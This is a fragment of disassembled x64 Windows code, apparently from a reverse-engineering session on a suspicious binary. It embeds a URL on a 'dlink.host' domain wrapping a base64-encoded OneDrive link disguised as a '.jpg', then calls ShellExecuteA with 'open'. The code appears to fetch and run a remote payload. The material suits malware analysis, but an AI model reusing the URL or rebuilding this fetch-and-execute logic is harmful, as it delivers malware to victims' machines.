lea rdx, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnaTkyLVhycUF5WGlSZVkzP2U9NkpEYlhG.jpg
lea rcx, [rsp + 0x38]
call fcn.1400013f0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x70]
call fcn.1400012a0
nop
cmp qword [rsp + 0x50], 0x10
jb 0x14000817c
mov rcx, qword [rsp + 0x38]
call fcn.14000ac00
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
and qword [rsp + 0x48], 0
mov byte [rsp + 0x38], 0
cmp qword [rsp + 0x78], 0x10
jb 0x1400081a2
mov rcx, qword [rsp + 0x60]
call fcn.14000ac00
lea rcx, [rbp - 0x70]
call fcn.140001110
lea rcx, [rbp + 0x18]
call fcn.140007f0c
lea rcx, [rbp]
call fcn.140007e18
mov dword [rsp + 0x28], 5
and qword [rsp + 0x20], 0
lea r9, [0x14020ee58]
lea r8, [rbp + 0x40]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rdi
call fcn.14001c5e8
mov ebx, eax
lea rcx, [rbp - 0x70]
call fcn.1400010b0
mov eax, ebx
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.14014b3f0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret